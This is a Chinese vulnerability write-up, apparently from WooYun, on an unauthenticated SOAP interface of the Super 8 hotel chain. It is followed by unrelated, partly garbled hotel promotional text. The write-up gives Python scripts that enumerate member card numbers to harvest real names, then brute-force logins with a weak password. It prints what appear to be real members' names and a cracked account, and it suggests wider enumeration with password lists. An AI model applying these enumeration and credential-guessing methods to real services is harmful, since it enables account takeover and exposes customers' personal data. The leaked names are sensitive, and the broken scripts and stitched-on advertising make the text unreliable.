飛揚風發布了速8酒店某處洩漏大量使用者資料及訂單資訊
廠商忽略，後烏雲補分 rank 13(提交前反查資訊發現)白帽子飛揚風從app分析的角度，使用burp進行抓包改包，由於burp編碼的原因漢字顯示不正常，未引起廠商重視。時隔一年，我通過百度無意間搜尋到速8酒店一介面：
通過對速8酒店各界面分析，發現soap介面未驗證許可權，也未設定內部訪問，導致未授權訪問洩露使用者卡號，實名，獲得卡號後可對密碼進行爆破。說明及演示如下：
速8酒店的說明做的真的不錯，文件全中文，說明詳細。最底部：getcustinfo
根據會員卡號查詢會員實體介面（按手機號/會員卡號驗證登入密碼，成功後返回會員卡號，會員姓名，會員型別，可享受會員**）
開啟看看：
意思只要會員卡號正確就能返回卡號，會員姓名
文件裡還有示例真心不錯，那就用get方法測試一下，簡單寫了個python指令碼：
import re
from beautifulsoup import beautifulsoup # for processing html
import beautifulsoup # to get everything
from bs4 import beautifulsoup;
try:
import requests
except importerror:
raise systemexit('\n[!] requests模組匯入錯誤,請執行pip install requests安裝!')
print '\n速八酒店會員卡驗證\n'
for cardno in xrange(1, 9):
a=600130919
payload =
s = requests.get('/getcustinfo?cardno',params=payload)
soup = beautifulsoup(s.content)
content= soup.findall(name='content')
print soup.content
卡號設定從600130919開始，簡單說明一下我沒有速8的會員卡，百度得到這張
600110882，測試的時候遍歷了9999張，選這個開始是為了演示爆破（卡號+實名 為了演示只顯示前2），程式執行結果:
速八酒店會員卡驗證
600130920
馬本惠貴賓會員
vipevip
web600130921
陳躍林貴賓會員
vipevip
web有了卡號，我們就可以去爆破密碼，還是用指令碼測試
介面位址
?op=custloginex
介面說明：custloginex
會員登入返回會員實體介面（按手機號/會員卡號驗證登入密碼，成功後返回會員卡號，會員姓名，會員型別，可享受會員**）
指令碼如下(假設密碼為弱口令123456，只是簡單寫了一下，python也可以從檔案讀取密碼，這裡僅作演示)：
try:
import requests
except importerror:
raise systemexit('\n[!] requests模組匯入錯誤,請執行pip install requests安裝!')
print '\n速八酒店會員使用者登入驗證\n'
for loginname in xrange(1, 9):
a=600130919
payload =
s = requests.get('/custloginex?loginname&loginpwd',params=payload)
print '\n正在測試:',a+loginname
print '\n' + s.content
測試結果如下（指令碼過於簡陋，只為說明問題，見諒）：
速八酒店會員使用者登入驗證
正在測試: 600130920
<?xml version="1.0" encoding="utf-8"?>
false
00600130920
馬本惠貴賓會員
vipevip
web2015-02-19t20:15:32.3564357+08:00
正在測試: 600130921
<?xml version="1.0" encoding="utf-8"?>
true
22鐢ㄦ埛鎴栧瘑鐮佷笉姝ｇ『
2015-02-19t20:15:32.715238+08:00
卡號600130920顯示 false 正常 其餘顯示 true
從返回結果看到 卡號600130920 密碼123456 正確
用這個卡號密碼在**上登陸一下
正確 身份證號，手機號也出來了 開房的情況就不做演示了
由於精力有限，如果能對卡號進行大範圍遍歷，理想狀態下能得到全部會員卡號及實名，爆破時可以修改程式，利用遍歷出的卡號+指令碼讀取的弱口令密碼檔案會有更大收穫。
內部訪問 鑑權 會員卡號不要全數字 最好別緻點
速8精選酒店亮相「魔都」上海
知名的連鎖酒店品牌 速 8 酒店，一直堅持乾淨的房間和友好的服務，為賓客提供舒適的居住空間，滿足賓客日益多樣化的住宿需求。並隨著消費公升級，推出了新品速 8 精選酒店。2019 年中國特許加盟展上海巡展在上海新國際博覽中心正式舉行，在這次展會上，速 8 酒店作為全qgwpjoe球知名的專注於特許加盟...
偏愛高價效比酒店的你請選擇速8精選酒店
重慶一直ohedrnvknu是國內非常火熱的旅遊城市，今天，速 8 酒店要在這裡給到重慶旅遊或者出差的朋友們，以及重慶本地的朋友們推薦乙個高價效比的速 8 精選酒店。為了方便朋友們對這家速 8 精選酒店有更詳細的了解，我們準備了這家酒店的詳細介紹。速 8 酒店旗下新品速 8 精選酒店在重慶的首家門店...
速8精選酒店來到重慶，重慶北站北廣場店營業啦！
速 8 精選酒店作為速 8 酒店的公升級版，看上去更具設計感，也更加奢華有內涵。而不久之前，速 8 精選酒店來到了重慶，在重慶的首家門店 速 8 精選酒店重慶北站北廣場店正式開業，光從外 上去，這家速 8 精選酒店裝修華麗大氣，設計感十足，對於高階人士以及年輕人是個不錯的選擇。速 8 精選酒店重慶北...